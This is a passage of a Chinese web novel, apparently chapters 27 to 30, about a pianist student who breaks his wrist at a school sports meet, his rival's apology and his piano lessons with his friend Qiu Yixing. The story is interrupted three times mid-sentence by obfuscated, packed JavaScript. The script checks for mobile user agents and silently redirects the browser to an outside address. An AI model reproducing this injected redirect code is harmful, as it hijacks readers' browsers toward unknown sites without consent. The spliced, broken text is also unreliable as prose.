闻旋直接发大招:“弃权还是替补,你看着办。老柴说任何事不试试是不可能知道结果的,你去了还有可能进决赛,一分也是分,咱们要是拿了年级前几,绝对有你的一份功劳。” 孔栩对这种集体性的活动一向敬而远之,他不喜欢吵闹,也不喜欢与太多人产生联结,听到闻旋这么说,他不便再推辞,这就显得太不近人情了,他说:“那走吧。” 他走了两步,回头找邱以星,勾搭上邱以星的肩膀:“邱以星,给我加油的时候喊大点声。” 邱以星笑,拿喇叭对他喊:“遵命。” 又说:“加油。” 投掷项目检录完毕,孔栩换了身便于运动的轻薄衣服,站在诸多运动员中间热身。 一传十十传百都知道“二班那个弹钢琴的在扔铅球”,或许这二者实在不搭,除了看短跑的区域,就数这边最热闹。 平时上体育课,老师也会教一些投掷技巧,孔栩倒不至于一点不懂如何将一个六千克的球从颈部推出去。他最好的成绩拿过7米,不过只有一次,运气好的话说不定还能出现一次奇迹。 在闻旋和邱以星的带领下,二班的同学兴致勃勃大半都集中到投掷区,孔栩平时成绩好,为人又低调,人缘相当不错,孔栩板着脸,表情莫名严肃,不看周围的人。 只有邱以星知道,这是孔栩不好意思的表现。 就在这时,孔栩看见他们这组人里出现了一个熟悉且讨厌的人影——黄背心。 黄背心若无其事地应了声“到”,明显也注意到了孔栩,嘴边露出一缕轻蔑的笑容。 他开始试投,孔栩在心里小声祈祷:上天保佑此人失利吧! 很可惜,事与愿违,黄背心第一次试投拿了8米,比他最好的成绩竟然还超出一米! 岂有此理! 孔栩这时忽然扭过头,似在寻找什么,与邱以星对上视线后,他稍稍镇定下来,耸耸肩膀,露出一丝无可奈何:我要给你们丢脸了。 他甚至有点后悔为什么平时不多锻炼,在家分点时间练习铅球,投个十米二十米的,让黄背心自惭形秽去。 快轮到孔栩上场,孔栩紧绷着脸,目光凝重,邱以星用喇叭旁若无人地对他喊:“孔栩,看这边!” 邱以星手里拿着喇叭,闻旋与罗鸣玉一手提着一只齐大彬的胳膊,齐大彬面色苍白,脚步虚浮,挤出一个不那么痛苦的笑容:“尽力而为,别那么大压力,你当参加奥运呢,能过过,过不了拉倒,别哭丧着脸,你的强项又不是铅球,我们都理解。” 随后邱以星拿出手机,打开前置摄像头,四人齐齐比划yeah的手势,把孔栩也拢在镜头内,孔栩在人潮里和他们做出一样的手势,终于笑了:“行吧,我尽力而为。” “我我我不行了……”齐大彬跟他们拍完照,肚子又叽叽咕咕蠢蠢欲动,他弓腰捧着肚子,五官挤作一团,艰难地迈着小碎步转身匆匆离去。 轮到孔栩了。 他张开双腿,身体重心往右腿下压。笔直而有力的左手臂抬起,旋即带动柔韧的腰部发力,屏息凝神,同时蹬转右腿,右手将铅球平平地推出。 他的身体像是一柄细长的弓,铅球宛若一根箭射了出去—— 邱以星见到孔栩的那颗球越过黄背心的那颗,稳稳地落在沙子上。 裁判:“8.5米。” 闻旋和罗鸣玉高兴地互拍对方手指,疯狂地大叫起来。 “我靠我靠我靠!”闻旋喊,“好样的小木鱼!” 罗鸣玉:“太牛逼了吧!” 孔栩也意外极了,不是这组最好的成绩,但比他最好的成绩要好,有如神助一般,他抿嘴享受着班级同学对他的大声赞扬,感觉很不赖。 第二次试投他投了8米,第三次是8.3米,估计极限在这儿了。 孔栩如愿进了决赛,黄背心则止步预赛,孔栩激动地冲向邱以星,跟他击掌,同时回头看了眼黄背心,小声的仿佛有些苦恼地对邱以星说:“哎呀,我这么优秀,万一拿个第一回来,柴晓驰让我进校队可怎么办呐。” 邱以星刚想说校队成绩平均10米,你8米就想校队,可他没有戳破孔栩,笑着说:“那你以后比赛可以弹钢琴当开幕式表演。” 孔栩笑得眯起眼睛,这得意洋洋的模样再度激起了黄背心的愤怒,他故意横冲直撞过来,一胳膊挥到了孔栩肩膀,把孔栩撞到了邱以星怀里。 孔栩的鼻梁擦过邱以星的侧脸,胸膛撞在一起,巨大的惯性差点把邱以星带到地上。 “你没事吧?”孔栩一把搂住邱以星的腰,扶稳有些怔愣的邱以星,确认他没事,孔栩左手指着黄背心的背影说,眼神异常的冷硬:“你别走。” “怎么啦?”黄背心嬉皮笑脸地回头,装作恍然大悟的模样,“哦,原来是你呀,这么巧。” 孔栩对邱以星说:“把他抓住,别让他跑了。” 邱以星不明白为什么,但依言照做,黄背心往后躲,可邱以星跟拿犯人似的一手擒住他的肩,一手从他身后抓住他的两只手腕,黄背心发现挣脱不开,只好吱哇乱叫说:“打人啦,他们几个合伙欺负人啊!” 闻旋忙过来让他闭嘴:“你还有理了?” 又问孔栩:“你要怎么办?” 孔栩从邱以星裤子口袋里拿出自己手机,他比赛之前放进去的,虽有些别扭还是用的左手,如果仔细看,能看到他额头已经冒出了一层冰凉的细汗。 他当着众人的面先给柴晓驰打了个电话:“喂,柴老师,我现在在投掷区,我手腕受伤了,现在很痛,我要去医务室,后面比赛估计不能比了,一点力气也没有。” 柴晓驰大惊失色,凳子也顾上了,拔腿就往投掷区跑:“怎么搞的?” “被人故意撞的,”孔栩一字一句地说,“麻烦您调个监控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孔栩得到想听的回答,满意地哼了一声:“我就知道,邱以星你别担心,其实我也没有那么疼。” 邱以星:“还是去医务室看看比较放心。” 孔栩伏在邱以星肩膀上,轻声在他耳边,带着一点小坏说:“其实我是故意的,我怀疑我是扔铅球肌肉拉伤,但谁知道是黄背心撞的,还是我扔铅球扔的呢,嘿嘿。” 来到医务室,校医给孔栩的手腕简单看了看,初步诊断是骨头出了问题,需要去医院拍个片子看看。 孔栩一听嘿不出来了,哭丧着脸:“我不会骨折了吧?” 校医无奈:“如果是真骨折也没有办法,伤筋动骨一百天,你做好心理准备吧。” 太悲催了,孔栩心里忐忑极了,骨折了就麻烦了,还是右手,别说弹琴,就是基本的日常生活也要出问题的。 “好的,我们马上去医院做检查。”邱以星作势要背孔栩出去,孔栩没动,想了想,还是给何斯清打了通电话。 “妈……”孔栩刚说一个字。 何斯清打断他:“有事待会说,我在赛场当裁判。” “好吧。”孔栩没多做解释,何斯清便匆匆挂了电话。 学校和学生永远排在他前面,孔栩无声地叹了口气,看向邱以星,心里倒也没有那么失落,毕竟还有邱以星在。 邱以星表现得比他还紧张,搞得他原本七上八下惴惴不安的心渐渐平复,开始理性思考,如果真骨折了,后面上学和练琴该怎么办,左手写字没试过,左手练琴应该没多大问题。 笔记可以找人借,题目在脑子里过一遍,不能写至少还能看,脑子还能动。 孔栩把事情想清楚后便不再纠结,跟邱以星一起打车去了医院。 28. 第 28 章 邱以星全程陪同孔栩挂急诊、拍片,孔栩拍完片子,他俩就坐在候诊椅上等结果。 “疼吗?”邱以星问他。 “还行,”孔栩说,“不动就没什么感觉。” 邱以星烦躁地抹了把脸,医院的气味令他倍感焦虑,对医院他已经熟门熟路,哪层楼是什么科室他一清二楚,没想到一个月不到,他已经到医院来了两次。 上次是送丁尧奶奶来医院,这次是送孔栩,他神经质地咬着手指,心想,我是不是真的身带不祥,谁跟我走得近谁就要出问题? “唱首歌听吧邱以星,”孔栩忽然用左胳膊戳了一下邱以星,“我好无聊。” “不想唱。”邱以星哪有唱歌的心情,也不知道为什么孔栩为什么这么乐观,“你就不怕真骨折?” “想那么多干什么,糟糕的事情已经发生了,我害怕又不能改变结果。如果我害怕老天能让我恢复,那我肯定说一千遍‘我好害怕呀’。”孔栩把左手食指放在邱以星的右掌心,百无聊赖地戳来戳去,“我还什么都没说呢,你别拉着一张脸,唱一个吧。” 邱以星突然牢牢攥住孔栩那只戳得他掌心痒痒的手指:“想听什么。” “都行。”孔栩任由他握着,心里闪过一瞬的奇怪,他想,他和邱以星是不是走得太近了。 不过很快他将这个念头抛诸脑后,他之前在班里亲眼见过两个关系好的男生互相恶心故意啃对方咬过沾了口水的小饼干,或者没个正型打打闹闹抱一块儿让对方叫爸爸,他此前没有同龄的好友,拿不准与朋友亲近的尺度,他和邱以星这样……算是正常的吧。 虽没好到忍受对方口水的份上……当然他一点也不想让邱以星叫自己爸爸。 跑远的思绪被邱以星的歌声及时拽了回来,邱以星在他耳边轻轻哼着一首民谣,孔栩的耳朵被近在咫尺的邱以星的声音填满。 他靠着邱以星的肩,有一搭没一搭地在他掌心打拍子,他想,邱以星应该去唱歌,他会成为一个伟大的歌手,说不定会比徐如夜还有名。 很快电子报告出来了,邱以星带孔栩扫码回诊,医生戴着眼镜,对着电脑上的X光片严谨仔细地看了片刻,又看了看孔栩,说:“桡骨远端轻微骨裂,没有移位,需要佩戴支具固定。” 邱以星声音干涩:“医生,需要多长时间才能恢复?他是弹钢琴的,手对他来说很重要。” 医生一听便来了兴趣:“弹钢琴?胳膊是怎么受伤的,不是弹琴弹得吧?这个角度很刁钻嘛。” 孔栩:“可能是投铅球,后来又被人推了一把,我不太确定。” “不影响,看你病例十六周岁都不到,小小年纪长得很快的,好好养一个月差不多就能长好。” 孔栩和邱以星一并松了口气,医生提醒说:“但是恢复期不要练琴啊,铅球也别玩了。” 孔栩:“知道了,谢谢医生。” 这时候柴晓驰安顿好学校事务,火急火燎地赶了过来,对孔栩说:“我跟你妈妈说过了,她走不开让我陪你,骨裂是吗?我给你妈妈回个电话,邱以星,你陪孔栩去佩戴支具。” 他打完电话过来对孔栩说:“那个撞你的人我找到是哪个班的了,监控也调出来了,我会找他班主任和家长来学校谈,一是赔偿你的治疗费用,二是给你登门道歉,三要负责你在学校这段时间的跑腿,给你打水打饭这种,一直到你完全康复为止……处分这事比较严重,你要是执意不接受道歉,我也会跟学校反馈记个过,但就留人档案上了,你自己再想想吧。” 孔栩犹豫片刻,说:“算了,他要是诚心道歉的话……” “凭什么!”邱以星愤怒地插嘴,“你要原谅他是不是?” “邱以星,得饶人处且饶人,人如果犯的不是杀人放火这种滔天的罪行,可以给个改过自新的机会。就算是罪犯,在牢里还能踩踩缝纫机种种菜呢,总不至于把他们一抓起来就通通枪毙吧?那多可怕。”柴晓驰一拍邱以星的脑袋,“这么大一小伙子还斤斤计较的,什么时候跟孔栩这么好了?” 邱以星扯了扯嘴角,冷哼一声:“你是老师,你总有那么多道理。” “怎么说话的呢,臭小子。”柴晓驰不客气地又拍一下他的脑瓜,“看在你关爱同学的份上我就不收拾你了,我顺路先送你回学校,再送孔栩回家。” 孔栩戴上固定骨头的支具,像只小企鹅摇摇晃晃的,邱以星叮嘱他“走路注意,别总低着头不看人,又跟他说骨头修复能力很强,多喝牛奶补钙,很快就可以行动自如,让他千万不要着急,如果发痒尽量前几天不要挠”诸如此类的话。 “你怎么这么懂?”孔栩坐在柴晓驰车后座,问邱以星。 “他有经验呗。”柴晓驰嘴一快就脱口而出,无意中透露学生的隐私令他想扇自己两个巴掌,他急忙找补说,“从小到大谁还没摔过几次,摔出经验来了吧。” “我之前车祸住过一段时间院,”邱以星淡淡的,并不把这当一回事,“腿断了,复健了很长时间,久病成医,自然懂得比一般人多点。” 孔栩闻言内心大感惊骇,他以为出车祸的说辞是邱以星编来骗他的。 难怪柴晓驰不让邱以星参加运动会,柴晓驰向来“物尽其用”,邱以星这两条大长腿不让他跑个三千米简直是白长了,班里甚至三千米没报满,他都没吭声让邱以星上场。 原来如此,孔栩终于想通了,他心里涌起一阵难过,住院、复健,听上去就特别难熬,邱以星是怎么过来的?他刚刚还背了自己,腿要不要紧? “早好了,是我爸妈不放心我跑来跑去的,”邱以星轻轻拍了拍他的手背,“我没事。” 孔栩点点头:“那你也要继续多喝牛奶,还能长个儿。” 邱以星:“再长就戳天花板了。” “你要不要脸,”孔栩被他逗笑了,“最好戳个洞,让学校给你单独安排一间教室。” 一米七的柴晓驰在前面不耐烦:“你俩够了啊,别当着矮子的面说高个儿,懂不懂?” 孔栩邱以星异口同声:“懂。” 运动会结束后,孔栩回到学校,他里头穿了件白色T恤,外面套了着件方便穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016805|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脱的拉链外套,右臂结结实实地戴着支具,外套只套了一只胳膊,另一侧虚虚地搭在肩膀,看上去是有几分行动不便的可怜。 他还没进门就见门口蹲了个人形物体,人形物体一见孔栩便蹭的一下站直,看他戴着支具后,眼神四下乱飘,支支吾吾地说:“孔栩……对不起啊。” 孔栩想起来了,这是那个黄背心,柴晓驰说他是隔壁三班的,名字叫冯新。 孔栩从医院回来的当天中午,何斯清就与冯新及其家长在校门口见了一面,冯新看着新鲜出炉的X光片与诊断记录,整个人霜打了的茄子似的垂头丧气,他家里人把他骂了个狗血喷头,还作势要揍他,双方父母在班主任的全程陪同下商量好赔偿事宜,冯新主动说会在学校好好照顾孔栩,直到他康复为止。 这不一大早,冯新就臊眉耷眼地站在二班门口当门神,二班的同学基本上都知道前因后果,个个没给他好脸色,三班的同学觉得他丢人也都不搭理他,搞得他里外不是人。 他谢罪谢得很有诚意,给孔栩鞠了个标准九十度的弓,吓得孔栩连退三步,小声惊呼:“你日本转来的吧!” 被骂了冯新并不辩驳,他长得不讨喜,盛气凌人时更显得讨厌,在家经过一番反思和父母混合教育后,整个人被训得服服帖帖,在得知孔栩是那个开学典礼弹钢琴的人之后更是诚惶诚恐,心里懊悔极了,决意在校好好改造,第一步就是求得孔栩原谅,让他干什么都行。 “真的很对不起,我不该故意撞你,”冯新说,“你受伤我有不可推卸的责任,我会尽我所能弥补你,你有什么需要尽管提。” 可孔栩只是轻描淡写地看了他一眼:“哦,没事,我要进班上课了。” 冯新有些傻眼,孔栩这种牙尖嘴利锱铢必较的人会这么轻易放过他吗? 其实孔栩觉得这事自己也有一部分责任,不能全赖人身上,更何况冯新已经是这副惨状——他脸上有个清晰的大大的巴掌印,嘴角还破皮,看上去比自己还惨。 他想,算自己倒霉,吃一堑长一智,以后坚决不跟傻子争短长。 冯新见他有意放过自己,一时间不能理解,所有的心理准备全部白做,他突然间做了个出人意料的举动,上前一步轻轻将孔栩挎在左肩上的书包给卸下来,憋红脸来了一句:“以后我给你当小弟!” 他说得太快,孔栩没听明白:“啊?” 冯新:“以后我给你当小弟,你就是我大哥,有任何事你都可以让我干。” 他不等孔栩回答,径自走进他们班,把孔栩书包放在他的位置上,又拿出孔栩的作业本和课本、铅笔盒,一样样地放好,他二话不说穿过全班刺来的毫不掩饰的视线,走到孔栩身边说:“以后这种小事我帮你做。” 孔栩相当无语:“我……” 冯新:“我先走了,下课再来找你。” 孔栩脸上的表情相当好看,混杂着想笑、无奈还有一丝窘迫,他回头正好对上了邱以星审视的目光,他对邱以星说:“我刚刚多了个小弟。” 邱以星低头翻书:“看见了。” 29. 第 29 章 冯新黏屁虫一样,只要下课就来找孔栩,给他打水,整理书包,顺带把他周围的卫生也一并做了,就连上厕所也得如影随影,就差捶肩按摩唱小曲儿了。 邱以星很看不惯冯新这副谄媚的嘴脸,一上午他跟孔栩说的话两句都没有,中午又被冯新抢先一步去食堂,饭菜拿小饭盒装好给送到了孔栩班里,孔栩懒得推辞,随口问了句:“没下毒吧?” 冯新:“那我先吃一口给你试毒。” “不用!”孔栩护住饭盒,“我相信你。” 旁人对冯新这巴结又讨好的模样已经免疫,罗鸣玉对孔栩打趣说:“你这个小弟用完了能不能借我用用,我也想一放学就能吃到热气腾腾的饭菜。” 冯新满口答应:“行,我下次帮你也打一份。” 罗鸣玉只是口嗨开玩笑,连忙摆手:“不不不,我说着玩的,你俩吃着吧。” 邱以星收拾好书包,拿上饭卡,一上午他态度都淡淡的,没怎么说话,孔栩对他说:“邱以星,我这几天就不跟你一起吃饭了。” “你等等我,我很快就回来。”邱以星没理孔栩的话,快步走出教室。 冯新感觉邱以星临走前好像瞪了他一眼,他问孔栩:“他也是你的小弟吗?” 孔栩差点笑喷:“我来学校是学习的,又不是拉帮结派的,要那么多小弟干什么?” 冯新摇头:“你怎么还不吃?” 孔栩:“我等邱以星。” 冯新诧异:“你不能一边吃一边等吗?” 孔栩叹气:“你没给我拿勺,我又不是左撇子,怎么吃?” 冯新僵了一下,反省自己做事太不周到,他拿起筷子:“那我喂你吧。” 孔栩略微有些抗拒,喂饭这事他从记事起就没人给他喂过,他跟冯新又不熟,冯新却偏偏要履行小弟职责,夹起一块西蓝花往孔栩嘴里送,孔栩心里一横,刚要张嘴,邱以星回来了。 邱以星跑着回来的,还有点喘,见状重重推了冯新一把:“你干什么?!” 西蓝花“啪嗒”一声掉回饭盒,冯新扯嗓喊起来:“你又干什么,我喂我大哥吃饭,你没长眼睛是吗?” “嘘,别吵!”孔栩抬起左手,制止住冯新的大呼小叫,看见邱以星手里那个熟悉的纸袋,果不其然邱以星去买了酥一点的泡芙,认识这么多天,孔栩对邱以星还算了有了一些了解,他仰头看邱以星,“邱以星你好贴心啊。” 邱以星把冯新从自己座位上挤走,冯新却撇嘴:“哼,不就是几个泡芙么,老大,你要是想吃,我每天都给你买。” 孔栩左看看右看看,邱以星就提了个纸袋:“你怎么没打饭?” 邱以星:“不想吃。” 他气都气饱了,还吃什么吃。 “那我们一起吃,他打太多了,还有这么多泡芙,我吃不完。”孔栩招呼邱以星坐下。 冯新急忙说:“老大,我特意给你打的。” 重音落在“你”字上,孔栩看向冯新:“你也忙活一上午了,自个儿玩去吧,我有事再叫你,下午也别来找我了,两个班跑来跑去的影响不好。” 见孔栩一脸正色,冯新只好作罢:“好吧。” 冯新走后,邱以星觉得教室的空气都洁净清新不少,他拿起冯新放下的筷子,把那块西蓝花撇到饭盒角落,重新夹了一块红烧鸡块,要喂孔栩,结果孔栩却下意识一偏头,躲了过去。 邱以星的声音冷了几度:“你什么意思?他喂就行了?” “我……我不喜欢吃鸡皮,”孔栩莫名有些心虚,慌忙找了个说辞,手比划一下,“你把皮给弄掉。” 邱以星看了他两秒钟,似在确认他话的真伪,然后他把鸡块扔自己嘴里吃了,又给他夹了一块清蒸鲈鱼:“你喜欢吃鱼,没刺,吃吧。” 没有给孔栩任何反驳的空间,孔栩觉得自己要再不张嘴,邱以星就得真发火了。 孔栩的感觉一向很准,他凑近筷子飞快叼走鲈鱼,邱以星的眉眼便舒展了许多,语气也变得温和:“你要不要喝水?食堂的菜一向有点咸。” “今天的还行,他去二楼打的,味道还不错。”孔栩吃了小半的饭菜,便不想再吃,喝了口水簌簌口。 “不吃了?”邱以星问。 “留着地儿吃泡芙,”孔栩说,“你别吃了,去食堂买份新的,看着就埋汰。” 孔栩从不吃旁人剩饭,甚至自己的剩饭也看不过眼,邱以星却埋头毫无芥蒂地吃起来,甚至筷子都没换,孔栩很不好意思刚要阻止,邱以星却说:“别浪费,这世上好多人都吃不饱饭。” 孔栩便不再作声,打开酥一点的纸袋,往嘴里塞了一个泡芙。 品尝着温热香甜的泡芙,脑子里却在想:邱以星竟然一点儿都不嫌弃我……我们关系原来好到这种地步了? 邱以星吃完饭去洗冯新的饭盒,孔栩站起来原地活动,他给邱以星留了三个泡芙,觉得如果邱以星不嫌弃他,他也可以稍微对邱以星更好一点。 下午冯新谨遵孔栩的命令,没再到他班里来,课间邱以星给孔栩打水,罗鸣玉凑过来问他:“你的小跟班换人了?” 孔栩:“我何德何能让邱以星当我跟班。” “我看他挺自得其乐的。你早上没看见么,冯新老来找你,他的脸拉得能有那么——长!”罗鸣玉夸张地做了个动作,“冯新再在你面前晃悠,他恐怕就要揍人了。” 孔栩不信:“他哪有。” 没片刻邱以星回来了,把水杯放在孔栩桌上,问他:“你们刚刚说什么了那么开心。” 罗鸣玉笑了两声:“聊你呢。” “聊我什么?” “没什么。”孔栩把邱以星拽坐下,邱以星宽松柔软的卫衣帽落在孔栩桌上,孔栩刚要给他理一理,一碰便感受到他帽子里似乎有什么东西,他伸手往里一掏,竟然摸出两个奶糖和三个独立包装袋包装的小熊饼干。 “你怎么才发现?”邱以星慢悠悠地回头,望着孔栩又惊又喜的表情,“我还以为等过期你都发现不了呢。” 孔栩笑得眉眼弯弯,没想到他的零食袋换了个位置,更方便他拿取。 他想,邱以星做的事怎么都那么符合他心意,他简直太喜欢邱以星了,于是他嘴 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他感到一阵冷意入侵他的肺腑,牢牢攥住他的心,那个长久以来被他压在心底的声音轻飘飘地开了口:邱以星,谁都不会喜欢你这个小偷的,你怎么还不去死。 这是邱以星有生以来度过的最难熬的下午,老师讲的课他一个字都没听进去,他浑噩的脑子被那个同他一样的声音全部占据,直到放学,冯新来找孔栩,他的眼珠才动了动,眼皮轻轻一眨。 冯新大咧咧地对孔栩说:“书包给我吧,你家离我家不远,我送你回家。” 孔栩的书包带却邱以星抢先拿到手,邱以星站在冯新面前,比他高半个头,看他时有种居高临下的意味。 冯新不解其意,疑惑地看向孔栩:“他怎么了?” 孔栩看了邱以星一眼:“我去琴房。” 完全读不懂空气的冯新说:“那我陪你。” 这时邱以星凉凉地开口:“要你陪什么,你站那儿当背景板吗?” 冯新嗤笑一声:“弹钢琴是什么很小众的事情吗?我小时候也是练过琴的,我还参加过施坦威全国青少年钢琴比赛,你呢?到底谁是背景板?” 这话令孔栩有些惊讶:“你也会啊?可我不是去弹琴,我和邱以星去学习,你还是自己回家吧。” 冯新没想到再度被拒绝,有些失落:“行吧。” 他转身要走,孔栩却叫住他:“等一下。” 冯新立即回过身,心想孔栩是不是改主意了,高兴地问:“怎么了?” “我拜托你明天别来找我了,也别给我打饭,这是你的饭盒,邱以星给你洗干净了。”孔栩说,“我本来确实很讨厌你,不过你态度挺好的,我气消得差不多了,就不追究你的责任了。你这性格最好还是收敛收敛,别张口闭口就骂人,不然迟早让人好一顿收拾。” 冯新感动得眼泪汪汪:“老大,你对我可真好。我一定谨记你的教诲,以后好好做人。” 孔栩无语地看了他一眼,眼不见为净地摆摆手:“……你快走吧。” 30. 第 30 章 通往琴房路上的枫叶似又红几分,孔栩走得不疾不徐,抬头欣赏这美景。 脚下铺着一层厚厚的枫叶,脆而薄的枫叶踩起来沙沙作响,两人都沉默无言,邱以星拎着孔栩的书包,慢一步跟在孔栩身后,看着他有些卷翘的发梢。 这一天是很好的天气,天空高远,蓝得不可思议,偌大天穹之下的两个小小身影是如此微不足道,脚下的路一直延伸到远方,好似能永远走下去。 今天作业不算多,孔栩情况特殊,柴晓驰允许他这段时间不交作业,于是他更多的时间都用来辅导邱以星,邱以星不说进步神速,至少能跟得上他的步伐,令他老怀安慰。 明明学习有进步,可邱以星却看上去有点兴致不高的样子,他思来想去是不是刚刚冯新说的话刺激到他了,于是主动提出:“邱以星,我教你弹钢琴吧。” 邱以星听了一愣:“你都这样了怎么教?” “小菜一碟,你坐过来。”孔栩坐上琴凳,留出一些位置让给邱以星,“我左手弹,你用右手弹。” 孔栩伸开左手活动两下,在琴键上随意按了几个音,他选了一首很简单的曲子,邱以星应该也练习过,孔栩有意配合邱以星,一首曲子弹完,竟然显得非常默契。 邱以星有些意犹未尽,孔栩鼓励他说:“你再试试,找点感觉,我看你乐感不赖,只是缺乏练习而已。” “那我试试。”邱以星不确定地看向孔栩,孔栩肯定地一点头,柔软的发丝随之一晃,模样有几分可爱,邱以星不敢继续看他眼睛,只好低头看黑白色的琴键,“要重头开始吗?” “嗯,先练《哈农》《车尔尼》,”孔栩说,“等你熟悉之后可以练难度高一点的曲子,慢慢来,不要着急,练琴这种事情呢欲速则不达,每天进步一点点就好啦。” 邱以星听着孔栩轻盈的语调,手指漫无目的地在琴键上滑来滑去,孔栩又说:“哦,对了,你那个乐队最近怎么样了?不是说键盘手受伤了吗?” 孔栩忽然想起,邱以星之前还邀请他加入他的乐队,只不过被他无情拒绝了。 “嗯……不太清楚,可能在找新的键盘手吧。”邱以星实话实说,距离上次见面,他一直没跟彭天他们主动联系,丁尧给他打过一次电话,说奶奶已经出院,他的赔偿也下来了,生活上没有问题,让他不用担心。 孔栩“哦”了一声:“如果没找到,你自己可以试着弹键盘,你吉他弹那么好,其他乐器也不会难倒你的。” 邱以星遗憾地说:“可我家里没有琴。” 孔栩从口袋里拿出一把黄澄澄的小钥匙:“喏,这是琴房的钥匙,你随时可以来。” 邱以星接过这把小钥匙,手指反复摩挲钥匙的小锯齿,直到戳到掌心发痛,他才缓缓地露出一个笑来,这个笑是他想要笑的,可莫名带了一丝悲意,他说:“只给我一个人的?” “那可不,我也就这一把,”孔栩说,“还有一把在老师那,不过她很少来这个小琴房。” “如果我弹错没人给我纠正怎么办?”邱以星意有所指地问。 “我陪你啊。”孔栩一本正经的语气里又有点得意,“你孔老师教你还不是绰绰有余。” 剩下的时间他俩在琴房里练琴,一个教得认真,一个学得认真,不知不觉一个多小时就过去了,不得不说邱以星练琴很有天份,错误的地方不会再错第二次。 音乐是比语言文字与图画要更加直接诚恳的表达,直接作用于神经中枢,不会经过二次修饰,邱以星弹琴时专注度极高,该松弛就松弛,指尖的音符犹如缓缓流动的清冽小溪,会流至高处,也会流经低谷,高处则高亢,低谷则婉转哀鸣。 孔栩为他耽误的这些年感到可惜。 如果邱以星一直练琴练到如今,一定会成为他最志同道合的对手,最惺惺相惜的朋友。 好在还不晚。 如果真心喜欢,任何时刻都不晚。 孔栩听邱以星练琴也别有一番滋味,幼时练琴只觉得枯燥,现在听却又多了几分理解,从中咂摸出更多的趣味,他单手拎起椅子,反向坐下,左手搭在椅背,下巴抵着左手,像模像样地叮嘱邱以星:“好好练,别偷懒。” 那天起,孔栩每天都会在琴房教邱以星弹琴。 有时候孔栩会趴在小桌上翻从旧书店借的书看,邱以星自己一个人对着琴谱练,孔栩一心二用,一边投进光怪陆离的故事世界,一边竖起耳朵对邱以星弹错的地方指点江山。 学校周末不开放,他们便会去对面的旧书店,老板见孔栩戴着黑色支具,瞠目结舌地问:“这是怎么搞的?太大力弹琴把手指弹折了?” “在你眼里我是个傻子是不是?”孔栩长话短说,“运动会上搞的,没什么大事,就快好了。” 老板这才松了口气,又看见邱以星,邱以星已经是张熟面孔了,便调侃孔栩说:“这么多天怎么就他一个‘老朋友’,你的‘新朋友’呢?” 孔栩摊手:“老板,我看着像朝三暮四的那种人吗?朋友在精不在多,我又不组团打怪。” 他最擅长变卦,也总有说辞,老板明显习惯他这个德行,哼笑一声:“所以你们今天干什么来了?买学习资料还是蹭吃蹭喝?” “我想借你家的琴用用。”孔栩说。 “嗯?”老板诧异,“太阳打西边出来了,你不是嫌我的琴音质不好吗?”又瞅了邱以星一眼:“我怕是醉翁之意不在酒吧?” “老板,”孔栩不好意思地揉了揉鼻尖,“猴年马月的事就别跟我斤斤计较啦,你又不会弹,我们还能帮你擦擦灰。” 老板摆摆手:“去吧,擦干净点儿。” “好嘞。”孔栩带邱以星上了旧书店的二楼,二楼有两间房,一间是老板的卧室,还有一间小卧室被改造成琴房,中间有一台流畅优美的三角钢琴,窗外吹来一阵风,吹得白色纱帘仿若裙摆摆动。 孔栩回头对邱以星说:“你之前不是问我怎么跟老板认识的吗?我小时候经常被我妈带到学校,练琴练不下去就到他书店里玩,一来二去就认识了。他还有个儿子,大我几岁,跟我参加过同一场钢琴比赛,名次没我高,见我就跟仇人似的,前段时间出国留学了。这琴也是他用的,我总觉得差点意思,不过比学校的琴好多了。” 邱以星不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016807|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有这样一段缘故,他对弹琴也说不上有多上心,他只是想跟孔栩呆一块,哪怕彼此不说话,只在一个空间里就很好。 孔栩找来一块垫子垫在地上,照例拿出一本上回没看完的书,邱以星坐下弹琴,孔栩靠着墙,低头看书。 说陪就是真陪,孔栩现在除了翻翻书,不能动笔又不能弹琴,一个人呆着极度无聊,说是陪邱以星,倒不如说是让邱以星陪自己。 除了钢琴音就是邱以星翻谱子的动静,孔栩不久便有了倦意,打了个哈欠。 他意识到,这是他人生中少有的毫无负担不用练琴的时刻,他可以光明正大地偷懒。不会有人在他耳边唠叨,他也不用万般苛求自己,念及此,他合上书,闭上眼睛打算小憩片刻。 邱以星弹着弹着,速度便慢下来,然后两手停住,看向靠墙熟睡的孔栩。 孔栩微微侧头,戴着支具的手臂放置胸前,左手不肯放下书,搭在支起的左腿上,好旁若无人随性的姿态,邱以星走向他身边,蹲下身,打量孔栩熟睡的模样。 他只有在孔栩不看他时,才有勇气这样明目张胆地看他。 孔栩的呼吸均匀,乌黑蓬松的发丝下两道弧度好看的眉,每回生起气来都高高地挑起,连带蹙起眉心,恨不能用褶子夹死对方。眉下是鼓起的泛着极微小青色脉络的眼皮,长长的睫毛如落羽垂下,流畅的鼻梁下是一张薄薄的嘴唇,嘴唇嫣红,微微张开着,能看见一点雪白的牙齿。 他这样毫无防备地敞开自己,邱以星想,他知道我在想什么吗? 如果知道了,他还会愿意当我的朋友吗? 